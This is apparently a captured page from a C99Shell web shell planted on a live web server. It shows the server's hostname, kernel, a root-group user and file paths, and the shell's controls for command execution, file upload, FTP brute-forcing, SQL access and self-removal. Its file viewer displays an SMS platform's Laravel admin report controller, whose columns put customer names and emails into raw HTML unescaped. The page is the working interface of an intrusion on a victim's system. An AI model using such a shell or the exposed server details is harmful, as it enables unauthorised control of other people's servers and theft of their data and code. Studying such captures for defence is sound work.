!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanReportController.php (5.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\Plan;
use 
App\Models\Report;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
PlanReportController extends Controller
{
    public function 
report(Request  $request){
        
$data['request_data']=$request->only('customer_id','main_type','sub_type','date');
        
$data['customers']=Customer::orderByDesc('created_at')->get();

        return 
view('admin.report.plan_report'$data);
    }

    public function 
getAllReports(Request $request){

        if(
$request->type) {
            
$reports Report::orderByDesc('created_at')->where('type''plan');
        }else{
            
$reports Report::orderByDesc('created_at')->where('type''plan');
            if (
$request->customer_id) {
                
$reports=$reports->where('customer_id'$request->customer_id);
            }
            if(
$request->main_type){
                
$reports $reports->where('type'str_replace('_','',$request->main_type));
            }
            if(
$request->sub_type){
                
$reports $reports->where('sub_type'$request->sub_type);
            }
            if(
$request->date){
                
$datesexplode('-'$request->date);
                
$fromDate= isset($dates[0])?$dates[0]:Carbon::now()->subDays(3);
                
$toDate= isset($dates[1])?$dates[1]:Carbon::now();
                
$reports $reports->whereBetween('created_at',[$fromDate$toDate]);
            }
        }
//        $reports=$reports->get();


        
return datatables()->of($reports)

            ->
addColumn('customer', function ($q) {
                
$profile='<div><h6 class="d-block">'.$q->customer->full_name.'</h6><b>'.$q->customer->email.'</b></div>';
                return 
$profile;
            })
            ->
addColumn('amount', function ($q) {
                return 
$q->amount;
            })
            ->
addColumn('date', function ($q) {
                return 
formatDate($q->created_at);
            })
            ->
addColumn('type', function ($q) {
                return 
'<b>'.ucfirst($q->type).'</b>';
            })
            ->
addColumn('amount', function ($q) {
                
$amountsubstr($q->amount01);
                if(isset(
$amount) && $amount=='+'){
                    
$amountType=$q->amount.' <span class="badge badge-success">Credit</span>';
                }else if(isset(
$amount) && $amount=='-'){
                    
$amountType=$q->amount.' <span class="badge badge-danger">Debit</span>';
                }else{
                    
$amountType=$q->amount;
                }
                return 
$amountType;
            })

            ->
addColumn('sub_type', function ($q) use($request) {
                
$type='';
                if(
$request->type=='plan'){
                    
$type='<span class="badge badge-success">Plan-Purchase</span>';
                }else{
                    if(
$q->sub_type=='non_masking') {
                        
$type '<span class=" badge bg-green">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else if(
$q->sub_type=='masking'){
                        
$type '<span class=" badge bg-blue">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else if(
$q->sub_type=='whatsapp'){
                        
$type '<span class="badge bg-info">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else{
                        
$type '<span class="badge bg-danger">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }
                }
                return 
$type;
            })
            ->
addColumn('plan_details', function ($q) {
                
$plan=Plan::where('id'$q->ref_id)->first();
                if (
$plan){
                    
$endDate='';
                    if (
$plan->recurring_type == 'yearly') {
                        
$endDate now()->addYear();
                    } else if (
$plan->recurring_type == 'weekly') {
                        
$endDate now()->addWeek();
                    } else if (
$plan->recurring_type == 'monthly') {
                        
$endDate now()->addMonth();
                    }

                    
$title='<p class="m-0 p-0">'.trans('customer.plan_name').': '.$plan->title.'</p>';
                    if (
$plan->recurring_type == 'custom') {
                        
$customDate=json_decode($plan->custom_date);
                        
$to=isset($customDate->to)?new Carbon($customDate->to):now();
                        
$from=isset($customDate->from)?new Carbon($customDate->from):now()->addMonth(4);
                        
$created_at '<p class="m-0 p-0">' trans('customer.subscription_on') . ': ' formatDate($to) . '</p>';
                        
$ended_at '<p class="m-0 p-0">' trans('customer.ended_at') . ': ' formatDate($to) . '</p>';
                    }else{
                        
$created_at '<p class="m-0 p-0">' trans('customer.subscription_on') . ': ' formatDate($q->created_at) . '</p>';
                        
$ended_at '<p class="m-0 p-0">' trans('customer.ended_at') . ': ' formatDate($endDate) . '</p>';
                    }

                    
$planFor='<p class="m-0 p-0">'.trans('customer.plan_for').': '.ucwords(str_replace('_',' '$plan->plan_type)).'</p>';

                    return 
"<div class='d-block'>".$title.$created_at.$ended_at.$planFor."</div>";
                }
            })

            ->
rawColumns(['customer','amount','date','type','sub_type','plan_details'])

            ->
toJson();
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--